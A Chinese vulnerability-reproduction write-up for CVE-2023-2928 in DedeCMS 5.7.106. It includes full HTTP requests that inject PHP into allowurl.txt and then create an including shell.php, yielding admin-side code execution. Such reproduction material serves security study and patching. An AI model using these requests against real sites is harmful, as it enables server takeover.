DedeCMS存在文件包含漏洞导致后台getshell(CVE-2023-2928)

简介: DedeCMS存在文件包含漏洞导致后台getshell,攻击者可通过该漏洞获取目标服务器控制权限,进行深度利用。

复现环境下载


https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.106-UTF8.zip


影响版本


DedeCMS V5.7.106
CNVD编号:CNVD-2023-40504


漏洞分析


漏洞文件: uploads/dede/article_allowurl_edit.php存在缺少对该文件中写入内容的任何过滤是导致该漏洞的因素之一,在5.7.106之前的DedeCMS中发现了一个漏洞。它已被宣布为关键。受此漏洞影响的是文件uploads/dede/article_allowurl_edit.php的未知功能。操纵参数allurls会导致代码注入。可以远程发起攻击获得网站控制权限。


把下载好的文件解压到刚刚网站创建的目录,访问创建的网站进行安装。

image.png

继续下一步

image.png

image.png

安装完成之后,我们来进行一波代码分析,通过查找文件/dede/article_allowurl_edit.php发现未对文件内容做任何过滤,会把内容写入到:

/data/admin/allowurl.txt 这个文件当中

image.png

先登录网站后台访问此文件如下图所示:

/dede/article_allowurl_edit.php

image.png

添加如下内容,在这个地方,dedecms安全过滤器通过文件创建被绕过,事实上,文件包含函数没有被过滤,因此它可以用于任意文件包含;

image.png

点击确定burp拦截到如下数据包


POST /dede/article_allowurl_edit.php HTTP/1.1

Host: X.X.X.X

Content-Length: 147

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.160.4

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://192.168.160.4/dede/article_allowurl_edit.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=1aiacudvg5ett0sie1hldrsirp; _csrf_name_f6248c53=b78d93a8fa8ca918ce43981d99fef4fe; _csrf_name_f6248c531BH21ANI1AGD297L1FF21LN02BGE1DNG=c1395807345a5866; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=ebfa2a04dd016f07; DedeLoginTime=1685497822; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=508a22baef9e1b61

Connection: close

dopost=save&allurls=www.dedecms.com%0D%0Awww.desdev.cn%0D%0Abbs.dedecms.com%0D%0A%3C%3Fphp+phpinfo%28%29%3B%3F%3E&imageField1.x=32&imageField1.y=20image.png

image.png

保存成功。

回到文件中查看已经写入到txt中

image.png

通过/dede/file_manage_control.php文件构造文件包含代码如下:


POST /dede/file_manage_control.php HTTP/1.1

Host: X.X.X.X

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=1aiacudvg5ett0sie1hldrsirp; _csrf_name_f6248c53=b78d93a8fa8ca918ce43981d99fef4fe; _csrf_name_f6248c531BH21ANI1AGD297L1FF21LN02BGE1DNG=c1395807345a5866; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=ebfa2a04dd016f07; DedeLoginTime=1685497822; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=508a22baef9e1b61

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 139

fmdo=edit&backurl=&token=&activepath=&filename=shell.php&str=<?php Include_once("./data/admin/allowurl.txt"); ?>&B1=++%E4%BF%9D+%E5%AD%98++


(此处请求数据包的功能点在附件管理->文件式管理器-新建文件)

image.png

成功保存一个文件!!! 这时我们访问根目录下shell.php看下是否解析。

image.png

成功解析php文件!!!

感兴趣的小伙伴可以自行搭建测试环境本地测试。

目录
相关文章
|
安全 测试技术
漏洞复现--CVE-2020-0796getshell
漏洞复现--CVE-2020-0796getshell
漏洞复现--CVE-2020-0796getshell
|
开发框架 安全 PHP
Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞 漏洞复现
Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞 漏洞复现
613 0
|
安全 网络安全 开发者
DedeCMS 5.7.106版本存在文件包含漏洞
攻击者可以通过操纵参数allurls来实现代码注入,并最终获得网站的控制权限。在/data/admin/allowurl.txt文件中写入的内容,并没有经过安全过滤,从而导致被成功绕过。由此可见,开发者应该严格限制用户输入的数据,避免类似漏洞的出现,确保网站的安全性和稳定性。
193 0
|
安全 Shell 数据安全/隐私保护
CVE-2019-15107 Webmin RCE漏洞复现
环境搭建: 进入镜像目录
387 0
|
安全 前端开发 JavaScript
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933
558 0
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933
|
安全 PHP 缓存
网站漏洞修复之Discuz X3.4远程代码执行漏洞
近期在对discuz x3.4进行全面的网站渗透测试的时候,发现discuz多国语言版存在远程代码执行漏洞,该漏洞可导致论坛被直接上传webshell,直接远程获取管理员权限,linux服务器可以直接执行系统命令,危害性较大,关于该discuz漏洞的详情,我们来详细的分析看下。
5250 0
|
安全 关系型数据库 MySQL
CVE-2018-12613 phpmyadmin 4.8.1 远程文件包含漏洞
CVE-2018-12613 phpmyadmin 4.8.1 远程文件包含漏洞
374 0
CVE-2018-12613 phpmyadmin 4.8.1 远程文件包含漏洞
|
开发框架 安全 PHP
ThinkPHP5 5.0.20 远程代码执行漏洞
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
1153 0
ThinkPHP5 5.0.20 远程代码执行漏洞
|
安全 关系型数据库 MySQL
CVE-2016-5734 phpmyadmin远程代码执行漏洞
CVE-2016-5734 phpmyadmin远程代码执行漏洞
268 0
CVE-2016-5734 phpmyadmin远程代码执行漏洞
|
安全 前端开发 PHP
thinkphp 代码执行 (CNVD-2018-24942)
thinkphp 代码执行 (CNVD-2018-24942)
284 0
thinkphp 代码执行 (CNVD-2018-24942)